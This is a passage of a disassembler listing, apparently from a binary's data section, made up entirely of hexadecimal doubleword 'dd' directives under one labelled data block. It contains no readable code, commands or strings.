		dd 0F48583Ch, 852A70D8h, 9D0B0BA7h, 671802CCh, 0ECDCF1h
		dd 0AB1F2429h, 0AC1D873Ch, 4180116h, 3045C240h,	67A8CEE4h
		dd 30C2E927h, 6A01A9C1h, 0A20505Ch, 0C476EB7h, 5C67416Ch
		dd 0EC308170h, 0E185C499h, 3884B835h, 860258A4h, 902685Ch
		dd 2A01FE5Eh, 0ECA863D0h, 90673C81h, 9458AC3Ch,	348FDAB2h
		dd 2E0C058Ah, 0FD010B1Ch, 0FC913450h, 50449365h, 8A09897Ch
		dd 0C09D28E0h, 885068A2h, 1A00F098h, 7F349582h,	165C9102h
		dd 50B97767h, 0A00FC84h, 3370BC92h, 6607C3BDh, 645430E2h
		dd 846384D2h, 294058D4h, 223F1A2Bh, 0E81B4D00h,	8DC4BFC9h
		dd 6144B19Dh, 92A3F74h,	4A791830h, 909C24A2h, 0C93E2388h
		dd 157C0480h, 8413D402h, 6916DB00h, 0F3CECA26h,	0EA09158h
		dd 0BC01746Ah, 2852B28Dh, 58955C28h, 9E5B10h, 5C8DF7D4h
		dd 6929C438h, 8C0078E0h, 0A7725ED0h, 0BDC04B00h, 7BC14F69h
		dd 0C4240CD6h, 7F28475Ah, 6C8F0407h, 32A08D37h,	49CF01EDh
		dd 9208C28h, 7898120h, 5FD8DA5Bh, 71E4AA80h, 4C00E679h
		dd 0ECBCBDh, 0C58ECF19h, 50D5C4C9h, 0F043E80h, 9072A58Ah
		dd 6815D903h, 0BE67D6E8h, 8050A361h, 0FC23137Dh, 0C4B79C02h
		dd 0ECC886E9h, 400B8EEh, 2F266A74h, 5CB3F5F1h, 0BB0F1CA2h
		dd 34935FA4h, 2628B3A4h, 1214E06Bh, 0DC5700B4h,	649CB0DBh
		dd 7E79E6EDh, 8CEB2009h, 9A390504h, 8CCC5069h, 2393156Ch
		dd 7904E0CBh, 0B40CE767h, 0AF12AC1Ch, 484BB565h, 4F404CB6h
		dd 6A6C444Dh, 0E002AE71h, 5976DE67h, 1769058Ch,	0D064B011h
		dd 3BD47440h, 6286CBE1h, 503D45C4h, 25E91300h, 5E47659Ch
		dd 2AE4F60h, 37667B4h, 954A0A2h, 0E740F2Bh, 0B43796C3h
		dd 30CB6587h, 8056A584h, 1000CB63h, 0C773D99Bh,	120CC41Eh
		dd 50810274h, 0B72370FCh, 0C4232702h, 8FACE06Dh, 1CC1075Ch
		dd 50CCCAA2h, 516A59A4h, 7944AC94h, 0B6051908h,	0B4E60D3Fh
		dd 6FDE3860h, 0AF5D1FE6h, 0D18A1734h, 0D24EDC40h, 2774B255h
		dd 0C402DD8Ch, 45001D40h, 9EA25723h, 0D77562A8h, 5C65D872h
		dd 0BCE09129h, 0EDA43C97h, 3DE98DCh, 0A7DEF4B0h, 1105E916h
		dd 610B5CD0h, 7B9C282Fh, 0D597287Ch, 931C2E5Ch,	0A0D6166Ah
		dd 414A78F8h, 0C000CC16h, 0C5B716F7h, 0C0DF000Bh, 4740D8AAh
		dd 0FC14B9F8h, 24E0F496h, 0C4C13815h, 68818FEAh, 0DCB6FEA7h
		dd 98C47B64h
dword_4E414C	dd 3FD68440h, 3A5603FFh, 0EA062D66h, 0B00B9714h, 8585207h
					; DATA XREF: ___:off_43A840o
		dd 0CF8092ECh, 1767B550h, 1D29154Bh, 13048AF8h,	428B1384h
		dd 653C80A4h, 0E8CB0846h, 0AC4C846Ah, 23788E0Dh, 0FDD310C4h
		dd 733BC101h, 0C87A0A3Fh, 0C4F0A360h, 0E4466724h, 0D00BA587h
		dd 95C7CEC4h, 3B56DCC3h, 1895F18h, 0A461990Dh, 46802061h
		dd 0A5BD2B0Fh, 0A2130169h, 0D455CCD2h, 0C414704Ah, 34080E93h
		dd 0D9BB1216h, 2D3C3090h, 0F8043706h, 1D848A15h, 1A3DFB64h
		dd 0B0A2F08Bh, 306E9EB4h, 9908EC8Ch, 20AAD23h, 4E6A5CA4h
		dd 60CFCC98h, 26C3780h,	29E0B7CEh, 38C01A23h, 0B128C484h
		dd 90ED0F0h, 0AB79B533h, 0B988848Ch, 1D55D283h,	0BED29048h
		dd 371DBB0h, 9A000FF4h,	5AF27FDAh, 9653C45Dh, 0E4AD07D0h
		dd 0E5D28370h, 7C711009h, 21501158h, 25F5437h, 0D013239Ch
		dd 520BF0ECh, 941BB2h, 0EE58747Ch, 24B91CF6h, 0D43065A2h
		dd 0B45C2DBFh, 80210EB0h, 0A000179Ch, 76B5C0D6h, 0E15806DCh
		dd 30E64A23h, 8D316E0Fh, 6999802Fh, 24E21252h, 8206571h
		dd 2E00FDAAh, 9B645E95h, 0C5B0AC6h, 3E87FFBh, 648D79Dh
		dd 641CDC98h, 43239613h, 49FCD0A0h, 295B8C75h, 2CF2E980h
		dd 0DAD707DCh, 24106CA0h, 34B9667h, 32FBB8BCh, 9898086Ah
		dd 0CB0CEBFAh, 58DA7423h, 76092445h, 8BB08964h,	26C1481Bh
		dd 0CFC429BFh, 2029969Ch, 4858A82Ch, 4931EB30h,	0DE2CCF4Ah
		dd 89032557h, 0E0E71796h, 7AF38051h, 77A40432h,	0A961FA02h
		dd 0E5C208F4h, 36FB00F2h, 5B606A98h, 4A10CD3Bh,	0A6C06884h
		dd 0EFCA93h, 18BFD342h,	2A476CB6h, 17E30302h, 0E8EC6B90h
		dd 649BC4ECh, 8122A839h, 88EF4D60h, 7735EF1h, 8970C547h
		dd 0ACFB1052h, 83849C10h, 0B490D246h, 18039813h, 0F9ECBBBDh
		dd 8091D399h, 7826688h,	82C30239h, 0ECE89578h, 62249A03h
		dd 0C7004141h, 4492B1A4h, 4B133C69h, 32BCB93Ah,	0C6830D80h
		dd 31A9609Ch, 6247DE00h, 11AF771Dh, 860C1EB5h, 0E441A502h
		dd 481F6F8Bh, 1F677702h, 0E48F055Fh, 7175C130h,	0A0306958h
		dd 7825D823h, 119300E9h, 3D6C9D85h, 44981927h, 0D9C379F8h
		dd 2E408A23h, 81D47228h, 4B8F8EFCh, 3A940C4h, 542A67BEh
		dd 294EF489h, 38819825h, 0EC74A4B8h, 97AA4096h,	0D7FBF01h
		dd 4BA2F80Bh, 0A020BCDDh, 12E5E41Fh, 495BC446h,	60704740h
		dd 0B0777A20h, 19009ACh, 548A9C0Ch, 0A8C6E9ECh,	96C19D00h
		dd 1162B7B4h, 0E4293667h, 451DF818h, 7212A41Eh,	0B0600CE4h
		dd 0D9CD247Dh, 0A5A10DD0h, 0E71880EEh, 0EA7C518Dh, 3F771221h
		dd 4888D92Ch, 5D5A338Ch, 350B4020h, 0EEE069h, 3FC83B7Ah
		dd 33F17CFEh, 76BF9F0Fh, 8B21E213h, 0DC3CE0BBh,	0DEE1F61h
		dd 0E311BCDEh, 5C005F1Fh, 9FCD519Ch, 3FF40021h,	0DC120822h
		dd 0BC070B8Ah, 71F884F9h, 402602C2h, 5B97E5h, 14C917E6h
		dd 2328C776h, 0E0387828h, 549FCB1h, 0CF0B034Ch,	0D9D400B0h
		dd 959EEFB7h, 0DE0BAC02h, 7F078444h, 819C8E0Ch,	0BEB26890h
		dd 94BB2EA3h, 21100039h, 0E40B1269h, 0AB788C00h, 840A7F05h
		dd 6A9707CEh, 7F13701Bh, 5308C4E3h, 807E503Ah, 0EE6D9D92h
		dd 0C02EFE23h, 335C9CA0h, 69F2A158h, 6006EF4h, 3F5B556Fh
		dd 7E5E927h, 0ED8B196Ch, 0B068F467h, 204C2C40h,	0D81B2CA4h
		dd 40716217h, 9E084F69h, 0B805E498h, 6718E66Ah,	10E0D851h
		dd 5F25F5F8h, 0C47E3064h, 0A448B568h, 39A08903h, 0F102857h
		dd 0E0F50098h, 3A94D27Dh, 7348C280h, 91230CD0h,	9570A0h
		dd 49FE8B2Dh, 0B070F6ABh, 85C59C3Ch, 6784FB65h,	10CC40FFh
		dd 91224C0Bh, 5CA74716h, 0C1D01489h, 1F13EAA6h,	0BBC4F789h
		dd 7CB8D8C0h, 5267F50Ch, 50E9B899h, 14E845h, 0C1E7FB72h
		dd 80177615h, 0A89E4679h, 1EC58B08h, 0B841C29Ch, 78E8E20Fh
		dd 54162F0Dh, 741E5278h, 7EE3C8C1h, 9C8F6934h, 0CC0BEC2h
		dd 9D283F6Eh, 9EB02002h, 0F1B3AEA4h, 0B828BCh, 0FE08CB98h
		dd 9CB8F646h, 0DA996300h, 25BA2AFCh, 1840C078h,	5B57AF23h
		dd 7EE8F75Ch, 0B67F3902h, 603F6F17h, 179E0BB8h,	678C32Dh
		dd 0C16E3E64h, 98606428h, 0E7019D75h, 235DB0Ch,	0C82585EBh
		dd 940820h, 0B9C0C54Bh,	9E40C444h, 4A011280h, 4F80BA6h
		dd 0B7088CD4h, 0E5A40458h, 0DACA2B9h, 10D13A23h, 0FCDDC404h
		dd 628BB440h, 235B0BD4h, 2022AE5Dh, 0DD25B8AAh,	3C83C485h
		dd 9A4CB84Fh, 7A68F0BAh, 0FAB002Eh, 67CA6B8Eh, 0D49CF32Ch
		dd 0C8DD0162h, 2A68F7Ch, 7357F79Eh, 52098Dh, 355EDCB0h
		dd 0C0E5056h, 0BF3941F1h, 3BE788C4h, 528027A1h,	0DB0BECD5h
		dd 0C9028155h, 0E6011072h, 0A3841C8h, 1FB80C60h, 8FA22CBh
		dd 0A405122Dh, 6091ADB0h, 8004B9AFh, 9FCB8D25h,	8705F5Ah
		dd 1743DF0Bh, 2F8F70h, 0A25575E4h, 6604D188h, 833801F9h
		dd 0BC140013h, 8FCEC3A1h, 25232A13h, 0DD06401h,	2FE0D91Fh
		dd 48C0A6DDh, 487D8D6h,	9C23118Fh, 6A1089C8h, 0C4FE832Dh
		dd 4233C21Ah, 3F882088h, 571FDFAh, 0CC232BE5h, 86D8439Bh
		dd 0F1FD99C5h, 0CA940260h, 52098309h, 70F19A21h, 18ED7A50h
		dd 1A7F6D54h, 680E49DFh, 65DE356Ah, 0BCC3F5D2h,	1CA8CC24h
		dd 0BA746100h, 1AC1CBFFh, 3039762Eh, 0CC9AA204h, 0F00128E0h
		dd 9EA480ACh, 9470FD52h, 959100D8h, 40FBC949h, 0AAD930C4h
		dd 420109A0h, 60B4CCA9h, 0C0B4E7D8h, 2A3C88h, 613A8EBDh
		dd 0D249A214h, 939AC154h, 33B2D23h, 0F83F76A8h,	0C80D38D8h
		dd 15F38B01h, 629239Bh,	833C272Eh, 30012652h, 19054AC4h
		dd 22C0A7D6h, 0F86B6073h, 5375676Dh, 55CD98A8h,	57E2409h
		dd 0BB00C839h, 4D9602DAh, 370B80F4h, 2C4BDC49h,	0E5100014h
		dd 6757E1AFh, 48B46B3Fh, 0D0C8F86Ah, 0C7809E22h, 0BB3B2C26h
		dd 42A419A4h, 71BC82E0h, 7D019902h, 0D240B4AEh,	0B766FC8Fh
		dd 0BCE004FFh, 9A482067h, 0CB0C911Eh, 1F7D0284h, 89291105h
		dd 3B6080DCh, 63A3DDFFh, 9DF8BAC2h, 6710AC94h, 6104CFFDh
		dd 0E8346B32h, 0C4428134h, 108BA950h, 0D04C18A6h, 7BE83CA3h
		dd 740944E9h, 50600114h, 44B15AE0h, 0FD13578h, 0D40FF75Eh
		dd 0A7DFC07Ch, 19476A4h, 0A5FE2767h, 28E6C485h,	2B3F0F38h
		dd 0F4041CD3h, 0F092CD6Ah, 97C100D9h, 89267712h, 82000835h
		dd 63A91457h, 61FFF0CBh, 17231181h, 947880EBh, 0FC569B80h
		dd 9F95FAEh, 283092FCh,	0CD27010Dh, 0C6AC6275h,	7F7D01B8h
		dd 0C1B224AEh, 4265E11Dh, 84B89208h, 0FC9C70D5h, 1CCC2AA5h
		dd 4CEC0106h, 0DC0C1E50h, 23DF0C1Ah, 249EB710h,	2331BE4h
		dd 0ACB8F4h, 615FA5BBh,	0BF95C446h, 20C5088Eh, 0FAA498B3h
		dd 0E4453C09h, 6DD498D3h, 4150046h, 239716BFh, 0D9C00E3Ch
		dd 1DA86478h, 526900C4h, 0F317DA8Bh, 933D6F24h,	0A46C850Bh
		dd 1CC22A41h, 80B70492h, 70DCAF3Ch, 10240A59h, 2624C0A7h
		dd 41183C72h, 0D7510D9h, 4509F096h, 233068D5h, 0C8A4EBh
		dd 0B83CF890h, 0A4B31FAFh, 6223E4F1h, 976D2440h, 4D61DC90h
		dd 6C28C426h, 3B0C3F80h, 0B8D55F71h, 387E4E0h, 0F2A72590h
		dd 99DBC4B8h, 4E6D2802h, 0C89ED023h, 177A7C60h,	135667h
		dd 0DAACBC98h, 0EA5BC4A6h, 10BF8003h, 0A1EEC1B5h, 1392E84Ch
		dd 4719C56h, 19A1E0Ch, 0AD0158B9h, 0E084043Fh, 7C71003Fh
		dd 2516B878h, 0FCE090D9h, 5890C3AEh, 0A240D317h, 0DBC42A03h
		dd 103002BFh, 9DD42399h
		dd 7664C8A0h, 0A809C6A1h, 0EA98BF93h, 0CFFC70F0h, 0DA85C320h
		dd 415285C7h, 0E24ED420h, 2A04FD0Ch, 0DF7560C2h, 9DBB4000h
		dd 64F9A0C9h, 9A0409F0h, 0E9FC6D06h, 840294F9h,	0A1E64D30h
		dd 0C070786Ah, 0C4320804h, 94ECD62Bh, 84B4D100h, 1A033F1Bh
		dd 0C3E60404h, 54C1DF0Dh, 1078B286h, 0E410948Bh, 47240188h
		dd 4E9900Ah, 30F29780h,	5722F91Ch, 0E4453D5h, 0E642212Ch
		dd 0E4797E97h, 24DE0A17h, 2D44082Ch, 0C4B9B4E0h, 18C22930h
		dd 3041E68h, 4F6017C5h,	27CB163Fh, 0CADA6683h, 67417C7Eh
		dd 0D02F735Ch, 0CE02C72Ch, 40EA2325h, 0D19464h,	0BF688FDBh
		dd 6B9CB325h, 0CBC7AE04h, 9CF4CA4Dh, 1EBC2023h,	0C8B1044Eh
		dd 39AC060h, 7EB82FDAh,	82951C6Eh, 28D57A58h, 6820CC84h
		dd 376CB700h, 6C8653Fh,	871B0169h, 1CC405A5h, 0E0343083h
		dd 1D8BC45h, 90475991h,	0B75D007Eh, 0FBFD3FB3h,	8D07CE3Ch
		dd 0EBF51D6Ah, 60C0D1F4h, 0C62381h, 7239619Dh, 6895FC3Fh
		dd 77F8627Eh, 78919B64h, 2A88D4B8h, 86CBD11h, 9C019BA0h
		dd 3AFBE3F0h, 0B424F3C4h, 74829D0Eh, 0F444ED45h, 0BB3B2176h
		dd 51DE02C3h, 0F92BF002h, 0F2B4A85Ch, 2467806Bh, 710BD6E2h
		dd 5BBF039Bh, 186786F0h, 8004107Ch, 88BC12AAh, 5933BD80h
		dd 0B713014Ah, 677824C1h, 3CEC6C96h, 4C64C86Ch,	256C4264h
		dd 4074C469h, 4B05B0Ah,	0F0C5B74Eh, 0C643810h, 38E2D7C4h
		dd 40ACFC17h, 6873DA36h, 9CC9251Dh, 982BE7Eh, 0D22A2916h
		dd 0A9490038h, 0E7E30B9Eh, 1A58AFABh, 36A50048h, 0C34BD889h
		dd 4E6900B8h, 73FB82F9h, 212881Ch, 30B3B5F8h, 7EACC482h
		dd 0CEBB7C74h, 3531C020h, 0F52013BFh, 0D024E1ABh, 5D13A4BDh
		dd 84C84D6Ah, 98FCB865h, 0C0944E44h, 0A932FC8h,	212E71F4h
		dd 0B8129CEAh, 717C8314h, 26455540h, 6184D0A6h,	51D762C4h
		dd 230FCD8h, 264C796Ah,	98B39678h, 20FF2ED0h, 970E8FCCh
		dd 8F6810A6h, 0F9CF8E15h, 3D08DCF1h, 9E902A17h,	0E4051812h
		dd 0F4F4BF9Ch, 0CED42D22h, 352DC420h, 139C394h,	0E4BE2561h
		dd 2FA4E47Ch, 249B6A58h, 12D081F4h, 2011B217h, 74C01252h
		dd 0C9097FADh, 86C6A6CEh, 9811A9B4h, 4A8988Ch, 8DC456F9h
		dd 41C0886Fh, 93BA0D40h, 0F6529230h, 76C862A4h,	0A3AB0085h
		dd 0ED2F30C1h, 5FECC8C5h, 3F2603CCh, 0BA761C7Ch, 7FFC75A1h
		dd 11041C21h, 0A8C0069h, 19485BD0h, 0E458275Ch,	0ED8D2248h
		dd 5A31CC20h, 0A9BC91F4h, 42230020h, 7348C0EDh,	5B42BAEh
		dd 15297464h, 0D70A0h, 79D7553Bh, 59DD38FBh, 0DE0CE100h
		dd 7214C0AEh, 90181DA6h, 9F80840Dh, 80FCF8FFh, 67DD9939h
		dd 0C43C01EEh, 79A497D8h, 64316EB1h, 3024520Eh,	0FEBF0B8Fh
		dd 0A6091615h, 0EF2094A0h, 9100037Fh, 84D7809Ch, 9FBEB67h
		dd 0ED58DC39h, 87A8D0A1h, 2F04217Bh, 239D9000h,	99E9261Eh
		dd 80404964h, 45800B15h, 0F4F55C5Bh, 886B0214h,	0D284805Dh
		dd 26021FAFh, 0A9DF2C4h, 96C107B2h, 2E3ED0F0h, 5B03F3A3h
		dd 0E50102DDh, 63303F17h, 5F3814BCh, 0F3CE59E0h, 593F1972h
		dd 0D7043A9Fh, 66DC00E4h, 67E55BE1h, 20899D3Ah,	16F8E608h
		dd 0C24A2B9h, 8993BBC4h, 6FB61219h, 1BCC8830h, 0E5397712h
		dd 219CCD2h, 0F07A805Fh, 0BB00F4B8h, 1E91AD94h,	41306705h
		dd 3C913058h, 0C4584661h, 3870F998h, 7C9A80BFh,	3842ED4Fh
		dd 0E15BD823h, 7C307448h, 3EE3001Ah, 0D78EA227h, 0C41A41C0h
		dd 0D6987CA4h, 0C4545ABCh, 6700B771h, 10C0B23Ch, 0F8F72193h
		dd 0FD2327AAh, 693F8480h, 0CC90B20Fh, 922393Ch,	89B61B47h
		dd 0D1D8A15Bh, 0C6F72337h, 89389460h, 800451Ah,	8D2FE66Eh
		dd 93F31116h, 0E84D9800h, 1AF5860h, 76A4B513h, 82057002h
		dd 45ED5BA0h, 0B064C4DDh, 0CB8F0034h, 283F66ACh, 213E4C78h
		dd 41C20788h, 67A1E384h, 0C080A1A5h, 137446B9h,	0F076D79Dh
		dd 0B815DA30h, 3D776A1Ah, 34B401E4h, 0C528A868h, 0E020ED41h
		dd 91075423h, 1498B998h, 58C41011h, 7064C09Dh, 0E20C0728h
		dd 102568ABh, 9DB515AEh, 22EA6301h, 747867F0h, 0E501D879h
		dd 0C47557D9h, 0C096B23h, 202450AFh, 0B898E149h, 26675A00h
		dd 0F0D3DAC7h, 0C900447h, 0D05D0270h, 0AB8EBC24h, 0C448F206h
		dd 4E48F89Eh, 166C5208h, 60687740h, 9462356Ah, 2C9925Ch
		dd 3BE61B2Dh, 9060C9D2h, 0EE003428h, 0D4BFAA0Ch, 772EA1FBh
		dd 0E52594CAh, 0DA6B02CCh, 58561767h, 0D4039305h, 0A67678F0h
		dd 44E54F14h, 0EBA1E84h, 2794013Fh, 3220BF53h, 8AE60DDFh
		dd 8068675Dh, 45E4BD38h, 2C5F9551h, 0BA7CB07h, 70E08FC4h
		dd 0D1093337h, 0DEB9C361h, 4191128Ch, 0C4C190B4h, 0F05EC684h
		dd 6EB04541h, 718F7828h, 8090253Dh, 0B53C25h, 4F80D820h
		dd 98FE814h, 0EB65DCB2h, 7C1FD0DEh, 502874A4h, 8E8830E9h
		dd 70B295h, 2B30D8A0h, 8A090439h, 81FA7AD9h, 0FF0CC688h
		dd 28614800h, 0F0AF3FDEh, 0D86C07B8h, 4010E331h, 0AE071B69h
		dd 0B08244D7h, 0A054C2C2h, 94A7A310h, 0E9E41F83h, 0FBF70C34h
		dd 2F030D18h, 0A396068Bh, 7FB5E7BEh, 0FED54D2h,	1FF9CA4Ch
		dd 10440348h, 9801596Ch, 2A9E75DCh, 0B03890B4h,	0B6FFBF09h
		dd 0A4BC60C0h, 0C4EE5E27h, 432208Ch, 0A56B9D28h, 68B48A1Fh
		dd 15BE99C0h, 0BC530123h, 917B0CF8h, 0B65DB2C0h, 5ABE1094h
		dd 0B0629C27h, 0F4917850h, 72488E25h, 60892613h, 51182B2Fh
		dd 0C41000ECh, 51D4A4CDh, 781C0280h, 0F131F02h,	0EC5EDCE0h
		dd 0BF0EDD0Dh, 477033FBh, 3490C055h, 0B77824BAh, 0B736C00h
		dd 0F9C08E35h, 6B13C78Bh, 13ECB160h, 0F80C01EAh, 24AD7EC4h
		dd 0D9000E68h, 0BA2A04Bh, 4D75C8h, 1BFDFD1h, 285A4B7h
		dd 7092935Ah, 880C560Ah, 2800650Eh, 0F6DB26Ch, 209D7C3Dh
		dd 161EE309h, 4F1E2461h, 258493A2h, 0F567E411h,	0D644286Dh
		dd 1509B0E2h, 18413976h, 4090494Ch, 9E676E10h, 0BE02848h
		dd 4395D95h, 0D4087874h, 405AB316h, 72E442B1h, 6D01126Ch
		dd 0E454239Dh, 330058BEh, 0DE89AEEAh, 0C00BA5h,	0CFA7095h
		dd 9B9A2E3Fh, 5A12EFE4h, 640713C2h, 3B20872h, 0C4F0DEBFh
		dd 0A034C7h, 90052D3Dh,	0DCD864A3h, 6498A9E3h, 0CB070BEBh
		dd 2FC5739Bh, 49940162h, 0F06003A0h, 550E3780h,	3C14E911h
		dd 0A0CC114Ah, 6081241Ch, 610F042Ch, 0BC38842Bh, 9075E728h
		dd 3001E8A0h, 0BC1854A6h, 6364BAC4h, 10AD1230h,	1B807196h
		dd 745C7F08h, 4AD94C8Bh, 9C3068CCh, 4570BE12h, 20E4B523h
		dd 52F689E0h, 2529DA00h, 0D2083F1Ah, 8E723E65h,	88114512h
		dd 0E612D9B0h, 7A03A6C3h, 0E0516A61h, 7BCFCEB4h, 41E15FC4h
		dd 0A45B2E8h, 0B0A2D2C2h, 83C16ABCh, 14B0A65Ch,	87F2000h
		dd 4B3B458Eh, 305889A0h, 681748E4h, 1401D8B9h, 8F0C7FEEh
		dd 77B63840h, 0C41B0860h, 7F0058E0h, 860C8801h,	9DAE7D81h
		dd 69EA7C9Bh, 9021442Ah, 0C8F48F13h, 0DA414033h, 2F17F107h
		dd 6B1C489h, 0F435D619h, 6980326Ah, 602DB859h, 609C2334h
		dd 660C10FBh, 0C412BF96h, 0F0B57E67h, 0A2E6FC03h, 67479A2h
		dd 1057A767h, 33D12F01h, 0EA11B1C0h, 2081D3Eh, 1CD99BFDh
		dd 8F65F490h, 0EF15D06h, 809015E9h, 5F239308h, 2812B0h
		dd 0FA855F3Ch, 123BC505h, 0E0EA2776h, 826E0A70h, 0D428F856h
		dd 9D80DCB3h, 0F467C003h, 3010C961h, 16DE5498h,	44C36B5Bh
		dd 95B90586h, 0F166EF23h
		dd 46D9FC20h, 9DF08401h, 0BCC6C4BAh, 306658A5h,	0A4F12317h
		dd 0AC4C0CE3h, 0B343228h, 0E76AC4BBh, 6400F8DAh, 8B955604h
		dd 7BE910CDh, 0C1A60044h, 801779F4h, 10972978h,	5F239B2Ch
		dd 72BC00B6h, 648A010Ch, 8B6780h, 4A579F3h, 58DEEE8Eh
		dd 0B67FEF1Eh, 66029602h, 20B444B1h, 0A59DA162h, 4F814D8h
		dd 394A0D7h, 467BA17h, 0BC977040h, 24B72D95h, 443558h
		dd 0ED66DC8Dh, 0BD00C54Bh, 4863C3E5h, 5FA8F9Eh,	0C4B1EA06h
		dd 0E38D086h, 4A6B4E01h, 0A4341080h, 3CF5597Ah,	3E5A4D10h
		dd 7926F223h, 65AD140Ch, 358F9230h, 9D4A84Ch, 506BAAD6h
		dd 0BC209DC8h, 0E153239Ch, 0E77AC4A8h, 3EF42200h, 2D6AAD0Ah
		dd 0DA0C047Dh, 0EC4401F7h, 0AFA43C98h, 0BCF890E4h, 28D50291h
		dd 72672130h, 4E428C44h, 0C9649A12h, 98F41028h,	0FC14BCD4h
		dd 490AC87h, 750F23E7h,	620C2082h, 20A45548h, 3D34E07Dh
		dd 235410C1h, 28AE9190h, 0C4031F94h, 0B8A82667h, 58109678h
		dd 20D84B84h, 2CAA58A2h, 95612D3h, 3C501088h, 44C27F2Fh
		dd 0C401970Ch, 772D610Dh, 0A4C75BC0h, 0C2F46607h, 0C10683h
		dd 3EE91938h, 6A9D0F25h, 0E7238809h, 7C4CC04Fh,	0FD5D00C6h
		dd 73416271h, 222FEFA7h, 3FA000C7h, 60D00116h, 0E00BB0ADh
		dd 0B50F9B75h, 0A2DA6FAh, 660608C8h, 88AA4Fh, 828F898Ah
		dd 0A834A48Bh, 9F7C25F1h, 0BB018619h, 39D467B9h, 0BB9EAC60h
		dd 0F1C60B60h, 11C7B800h, 0A36B9923h, 16605318h, 2734160Dh
		dd 0B9CD2280h, 6C9EB300h, 83961FCh, 0DD25262Ah,	7CBD6019h
		dd 0C30AF400h, 1C488F1Fh, 0F11D5EBFh, 8709E23Ch, 0DA205224h
		dd 294BBE3h, 56F8495h, 705E9267h, 731FB900h, 0F84B380Eh
		dd 8C910778h, 802B3EC7h, 0B5F8AE74h, 0A72C6B1Fh, 8A14EA00h
		dd 4E48DBCh, 0A6732568h, 18588627h, 659DB407h, 3E82646Eh
		dd 7DCC8028h, 28BBE7Fh,	0C4BD9A51h, 2055AFA4h, 0F8944DF8h
		dd 0CE540461h, 0C03CFC95h, 0CFB97AACh, 20AE80A0h, 81BF24B1h
		dd 915F0D3Bh, 68FE1F23h, 17C7134h, 800B6D70h, 0EDB20869h
		dd 0AEA860B7h, 18D4C924h, 272E6C09h, 8B02C8A4h,	2BC807Bh
		dd 0E3D96723h, 40347C30h, 0A07CFE55h, 600DED35h, 670218F3h
		dd 0C5392127h, 6A00D4D9h, 295DDAE6h, 65012D14h,	0CE5B2060h
		dd 40FB1000h, 1207619Ch, 0EA792E21h, 9C462FD8h,	6092BD4Ah
		dd 0A65CD472h, 0A1361300h, 10D82C3Ch, 290776D9h, 0A5091B27h
		dd 5F00ECF2h, 6481A834h, 1980038Eh, 497BF5DFh, 0FD00BF86h
		dd 6A931CB9h, 78094627h, 0A8C42533h, 0CA37A480h, 0C10029B3h
		dd 13952369h, 79C5BFEh,	38C53F67h, 211BC00Fh, 8D605CF0h
		dd 319F4C18h, 0BA10410h, 0AFE5C6CCh, 231E8002h,	3C897521h
		dd 1641AC54h, 22F27B8Ah, 0B20993ACh, 0C2F4FE7Ch, 0E8FA2FC1h
		dd 48F89620h, 0A2008C0Ah, 1F4762A9h, 70604A23h,	7E376C48h
		dd 0C3FAF874h, 479DD2A8h, 0BDF0C1C5h, 0FBFEF0C0h, 0B2B83A67h
		dd 1DCE9B0h, 0CCAF5E86h, 575923A0h, 162107A4h, 592458C4h
		dd 996418EBh, 0DC7E676Bh, 0E260CCA1h, 37C003h, 0FE29710h
		dd 1DB5FE46h, 238F8B0Bh, 7724F81Ch, 0B020064h, 0D04EABDCh
		dd 0D206776h, 5FB0C182h, 857D1F9Eh, 84756DA0h, 0DF43B800h
		dd 14634BD3h, 94925EC4h, 21801505h, 8230B874h, 1ADC001h
		dd 30453FB0h, 0B46982E8h, 0F000D878h, 0C8029573h, 2077306Fh
		dd 92BD99F4h, 0C2A800E3h, 0D6203F40h, 0DF09ED70h, 0FDBA3Bh
		dd 0B1466CCh, 97A405FAh, 902F9102h, 0EEFC9E70h,	0A4C16D5Bh
		dd 8B00B66Eh, 27023FC3h, 817F599Bh, 3624C905h, 23BEC65h
		dd 514180ACh, 6112E846h, 74C8202Ch, 607641C7h, 0FA405F24h
		dd 0D5C25E0Ah, 4298F1B0h, 80EA02C3h, 96B3D440h,	161ED73Eh
		dd 2CA27116h, 0C1C58C16h, 389CD0h, 27C47C3Ch, 0A412A67Bh
		dd 0B0B0B05Ch, 3A82035h, 97C2E8C5h, 0C78CA941h,	0CF0BF014h
		dd 635CCB3Ah, 0F2C50084h, 23E44842h, 0E80F2FD3h, 9913D0CCh
		dd 0EC62BC03h, 68E90D0Bh, 2F347820h, 48A11078h,	403C67E4h
		dd 5F4F3396h, 8B04E7A8h, 0E4B545D5h, 0E10F670Ch, 0C7599DC2h
		dd 8FA9876h, 0D012C404h, 0F6D668FCh, 61185014h,	3312324Eh
		dd 494C4C8h, 0FCC073E7h, 2420B80Eh, 0DC049817h,	30ADED67h
		dd 3001603Eh, 34578C5h,	0D82460A2h, 2654AB00h, 9C85757Fh
		dd 502F005Bh, 0EE6D445Eh, 530F9A66h, 639A4BFh, 1F1031F6h
		dd 1FCFA0A6h, 37760F8Eh, 4F8F7B04h, 0CDC0986h, 789C100Ch
		dd 659201D6h, 1C71B480h, 0BEC507C6h, 0E3C40C20h, 1D8E033Eh
		dd 0A272284Dh, 37384858h, 0EBC04896h, 0C06E796Ch, 76210758h
		dd 23E829D2h, 61F5058h,	9E276CF3h, 0C4BA0020h, 0D61A5B18h
		dd 9135701Bh, 6000181Dh, 9D97A576h, 235F0354h, 0D1B743EFh
		dd 1AF5200Fh, 8033090Bh, 0A15F4D08h, 0FC961801h, 3E6C700Ah
		dd 0DB486B60h, 3BB78A0Dh, 0CB820C84h, 981B0159h, 9C348Eh
		dd 1C86F9ECh, 71033162h, 74AF076h, 51D4A929h, 63209048h
		dd 5EEAE198h, 1EFB7122h, 0A2B3FFh, 38A4C037h, 454696Dh
		dd 0DB4044C0h, 54F630C4h, 628A0F40h, 0CC955100h, 857B7827h
		dd 5FC401B7h, 231D8DD2h, 41944458h, 6E4375B0h, 0D4B0876Bh
		dd 0EC95194Bh, 0DE44D801h, 0E0E333AEh, 19F082Bh, 491C3E30h
		dd 9428456Dh, 18CC0F80h, 0C1A14D54h, 51D5E6A4h,	57CC6C50h
		dd 9133058h, 12DC0CC8h,	0D72D3D03h, 0C0B48B7Bh,	0A5D4A42h
		dd 2C7843E5h, 56EC05B8h, 80D45025h, 202DCC09h, 6CE70010h
		dd 2169D030h, 7EB7619h,	0ECB05284h, 0E0AC8A06h,	75A7559Ch
		dd 6CBF6805h, 0E805F933h, 0E404111Ah, 0D009E3Dh, 0AC4F80DFh
		dd 22F15100h, 0A8430162h, 0D590C73Bh, 0E9BC0027h, 583C047Eh
